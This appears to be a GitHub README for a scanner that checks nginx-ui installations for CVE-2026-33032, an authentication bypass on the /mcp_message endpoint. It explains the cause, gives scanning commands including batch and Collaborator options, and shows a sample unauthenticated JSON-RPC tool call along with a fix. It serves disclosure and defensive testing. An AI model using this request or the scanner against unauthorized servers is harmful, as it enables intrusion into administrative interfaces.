
Non-destructive vulnerability scanner for Nginx-UI MCP Endpoint Authentication Bypass (CVE-2026-33032)
Non-destructive vulnerability scanner for Nginx-UI MCP Endpoint Authentication Bypass
CVE-2026-33032 is an authentication bypass vulnerability in nginx-ui's Model Context Protocol (MCP) integration. The /mcp_message endpoint lacks authentication middleware while providing access to all MCP tools, allowing remote attackers to:
Auth Asymmetry: The /mcp endpoint requires authentication, but /mcp_message does not:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // Missing AuthRequired()
Fail-Open IP Whitelist: The default IP whitelist is empty, which the middleware treats as "allow all"
Both Endpoints Share Handler: Both route to the same mcp.ServeHTTP() which processes all MCP tool invocations
✅ Non-destructive testing - Uses only read-only MCP tools
✅ Comprehensive fingerprinting - Identifies nginx-ui installations
✅ Safe proof-of-concept - No configuration changes made
✅ Batch scanning - Process multiple targets from file
✅ Detailed reporting - JSON output for integration
# Clone or download the scanner
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# Install dependencies (if needed)
pip3 install requests
# Scan a single target
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# Scan with verbose output
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# Custom timeout
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# Scan multiple targets from file
python3 cve-2026-33032-scanner.py -f targets.txt
# With verbose output and JSON report
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - one URL per line
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
The scanner performs a multi-stage detection process:
Checks common nginx-ui endpoints to identify the installation:
/api/info - Version information/login - Login page/api/auth/login - Authentication endpoint/mcp and /mcp_message - MCP endpointsTests the /mcp endpoint to verify it properly requires authentication (baseline)
Attempts non-destructive MCP tool calls via /mcp_message WITHOUT authentication:
If any tool succeeds without authentication, the vulnerability is confirmed.
The scanner only invokes read-only MCP tools:
| Tool | Description | Impact |
|---|---|---|
nginx_status | Read nginx service status | No changes |
nginx_config_list | List configuration files | No changes |
nginx_config_base_path | Get config directory path | No changes |
Tools explicitly avoided:
nginx_config_add - Would create filesnginx_config_modify - Would alter configsrestart_nginx / reload_nginx - Service disruptionnginx_config_enable - Would change active configs[+] nginx-ui detected: Found 'nginx-ui' in /login
[+] /mcp endpoint properly protected
[*] Testing /mcp_message endpoint (CVE-2026-33032)...
[*] Trying tool: nginx_status - Read nginx status (safest)
Status: 200
======================================================================
[!] VULNERABLE to CVE-2026-33032
======================================================================
Proof: Successfully executed nginx_status without authentication
[+] nginx-ui detected: Version endpoint accessible
[+] /mcp endpoint properly protected
[*] Testing /mcp_message endpoint (CVE-2026-33032)...
[*] Trying tool: nginx_status - Read nginx status (safest)
Status: 401
Auth required (protected) ✓
[+] NOT vulnerable - endpoint requires authentication
If the vulnerability is confirmed:
Immediate Fix: Add authentication middleware to /mcp_message:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
Defense in Depth:
Upgrade: Update to patched nginx-ui version when available
This tool is designed for:
Do NOT use this tool on systems you don't own or have explicit permission to test.
When reporting this vulnerability:
Severity: Critical (CVSS 9.8+)
Proof: Include scanner output showing successful unauthenticated MCP tool invocation
Impact Chain:
Safe PoC: Use only the read-only tools (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx is running (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
This tool is provided for educational and authorized security testing purposes only.
Antony Esthak Twinson @ Cyber Tamarin
Security Researcher | Bug Bounty Hunter
Specializing in Web Application Security & Vulnerability Research
Disclaimer: This scanner performs non-destructive testing only. Always obtain proper authorization before testing any systems.